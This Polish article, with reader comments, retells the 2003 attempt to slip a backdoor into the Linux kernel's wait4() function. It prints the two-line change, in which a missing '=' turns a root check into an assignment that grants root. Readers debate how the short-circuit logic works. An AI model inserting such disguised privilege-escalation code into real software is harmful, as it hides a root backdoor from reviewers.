Wobec ostatnich rewelacji dotyczącej działalności NSA oraz dwuznacznej odpowiedzi Linusa Torvaldsa na pytanie, czy rząd próbował wstawić tylną furtkę do Linuksa, warto przypomnieć historię z roku 2003, kiedy taką próbę zanotowano.
W listopadzie 2003 systemy kontroli integralności kodu źródłowego firmy BitMover wykryły ręczne zmiany w repozytorium kodu, w którym takie modyfikacje nie powinny mieć miejsca. Ktoś przełamał zabezpieczenia serwera i dodał w pliku kernel/exit.c dwie linijki programu, według wstępnej oceny uznanego za mało interesujący.
Dopiero dzień później programiści pracujący nad nową wersją jądra Linuksa – bo to właśnie jego repozytorium zostało naruszone – zauważyli, że dodany kod może mieć zupełnie inną funkcjonalność niż się początkowo wydawało. Fragment, dopisany w obrębie funkcji wait4(), dostępnej dla każdego programu, wyglądał całkiem niepozornie. Na pierwszy rzut oka sprawdzał, czy program wywołujący funkcję używa nieprawidłowej kombinacji dwóch flag oraz czy użytkownik, uruchamiający program, ma uprawnienia roota. Jeśli oba warunki były spełnione, przerywał wykonywanie funkcji.
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
W rzeczywistości kod wykonywał jednak zupełnie inną operację. Dzięki opuszczeniu jednego znaku równości, nie sprawdzał, czy osoba wykonująca program ma uprawnienia roota, lecz te uprawnienia przyznawał każdemu, kto uruchomił program z dwiema konkretnymi flagami. Brak jednego znaku równości powodował, ze zamiast porównania, wykonywane było polecenie przypisania. Osoba, znająca ten błąd w kodzie, mogła, odpowiednio wywołując funkcję, otrzymać uprawnienia roota w każdym systemie, w którym znajdzie się ta tylna furtka.
Już w 2003 roku pojawiły się opinie, że próba tak subtelnego wprowadzenia tylnej furtki wygląda na działanie NSA. Czy te słowa były prorocze? W obliczu dzisiaj znanych rewelacji znacznie łatwiej w to uwierzyć. Gdyby tajemniczemu włamywaczowi udała się jego sztuczka, ta drobna zmiana mogła trafić do oficjalnego wydania jądra Linuksa w wersji 2.6, a wraz z nim do większości dystrybucji Linuksa na milionach komputerów. Na szczęście prawdopodobieństwo powodzenia chytrego planu było niewielkie – to repozytorium było tylko jednym z wielu używanych w procesie tworzenia nowego oprogramowania i szansa na przekazanie opartego na nim kodu do ostatecznej wersji jądra była niewielka.
Komentarze
Mnie tylko zastanawia, że choćby kompilatory nie narzekały na przypisanie w if’ie. Wiem, że 2003, ale wtedy już raczej miały takie ficzery. :)
afair wtedy już narzekały, ale tamto przypisanie było przecież ujęte w nawiasy.
Przypisanie było w nawiasie. Nie było na co narzekać.
jakoś mam wrażenie, że tytuł tego artykułu kiedyś zostanie rozszerzony:
„Już w 2003 próbowano wstawić sprytną tylną furtkę do jądra Linuksa… odkryto że udało się to w 200X”. Nie sądzę, by jeśli to jest „sprawka” NSA, nie próbowali ponownie przez kolejne 10 lat, pokusiłbym się nawet o wniosek, że ktoś załatał przypadkowo ich wcześniejszą furtkę, wiec postanowili wstawić nową (tę z artykułu).
Może się nie znam, ale warunek logiczny zawarty w kodzie jest zawsze nieprawdziwy i nie dojdzie do ustawienia wartości retval. Dlaczego? Mówimy o koniunkcji logicznej, w której drugie zdanie jest zawsze = 0. Podstawienie wartości do zmiennej current->uid (o ile taka zmienna istnieje) zwróci 0, jako potwierdzenie poprawności wykonania podstawienia. W takiej sytuacji warunek logiczny nie jest spełniony, bo jeśli jakiekolwiek zdanie w koniunkcji jest nieprawdziwe to całe wyrażenie jest nieprawdziwe. Ten kod ZAWSZE podstawia wartość 0 do zmiennej current->uid, bez względu na flagi, o których mowa. Zmienna retval ustawi się jedynie wtedy, gdy jednocześnie są ustawione flagi i NIE istnieje zmienna current->uid. Nie dajmy się nabijać w butelkę… A jeśli się mylę to poproszę o krótki wykład z logiki.
lazy evaluation (bo jest AND), więc NIE ZAWSZE
Nie podstawia zawsze 0. Jeżeli będą ustawione inne flagi czyli pierwsza część koniunkcji będzie fałszywa to cała koniunkcja będzie fałszywa, więc druga część się nie wykona, bo i tak nic nie zmieni.
Jeżeli zmienna current->uid by nie istniała to program nie powinien się skompilować – w końcu to C/C++ a nie jakiś język skryptowy.
Przykładowy program: http://ideone.com/9GodWi
Radek nie znasz sie ;-) Przeczytaj jeszcze raz ze zrozumieniem powyższy artykuł. To czy warunek będzie spełniony czy nie nie ma tutaj znaczenia o to właśnie chodzi w tym backdoorze, że łatwo przeoczyć brak jednego znaku „=”. Warunek nigdy nie będzie spełniony, ale wartość current->uid zostanie zmodyfikowana co w efekcie na starych kernelach (2.4) ustawia na sztywno uprawnienia aktualnego procesu na najwyższe. Zatem intruz wywołując syscall wait4() z flagami __WCLONE i __WALL momentalnie zostaje nagrodzony przywilejami administratora.
And the winner is… maaa!
Lazy evaluation to prawidłowa odpowiedź na pytanie. Jako nie-programista założyłem, że warunek z operatorem AND jest testowany jako całość – nic bardziej mylnego. Dzięki za oświecenie.
Nie zmienia to faktu, że w temacie backdoorów w linusiu stawiam na generatory liczb losowych. Pożyjemy zobaczymy ;-)
czytales wypowiedz Linusa o backdorze w liczbach losowych? ;p
Pożyjemy zobaczymy ;-p
@Radek :) sie programuje!
Ale czy w tym jądrze nie ma śmieci typu obsługa jakichś egzotycznych drukarek gdzie może być sprytnie podmienione to i owo tak jak trzeba.
„Dzięki opuszczeniu jednego znaku równości, nie sprawdzał, czy osoba wykonująca program ma uprawnienia roota, lecz te uprawnienia przyznawał każdemu, kto uruchomił program z dwiema konkretnymi flagami.” – podziękujmy koślawym językom programowania za możliwość wstawiania takich 'furtek’.
To może być przydatne. Zresztą jaki język nie pozwala na przypisanie w ifie? Chyba tylko bash w którym jedno '=’ oznacza porównanie.
Np. python, właśnie ze względu na możliwość wystąpienia takich „literówek”. Tam przypisanie (a = b) jest traktowanie jako 'statement’ a nie jako 'expression’, więc nie można go użyć w warunku.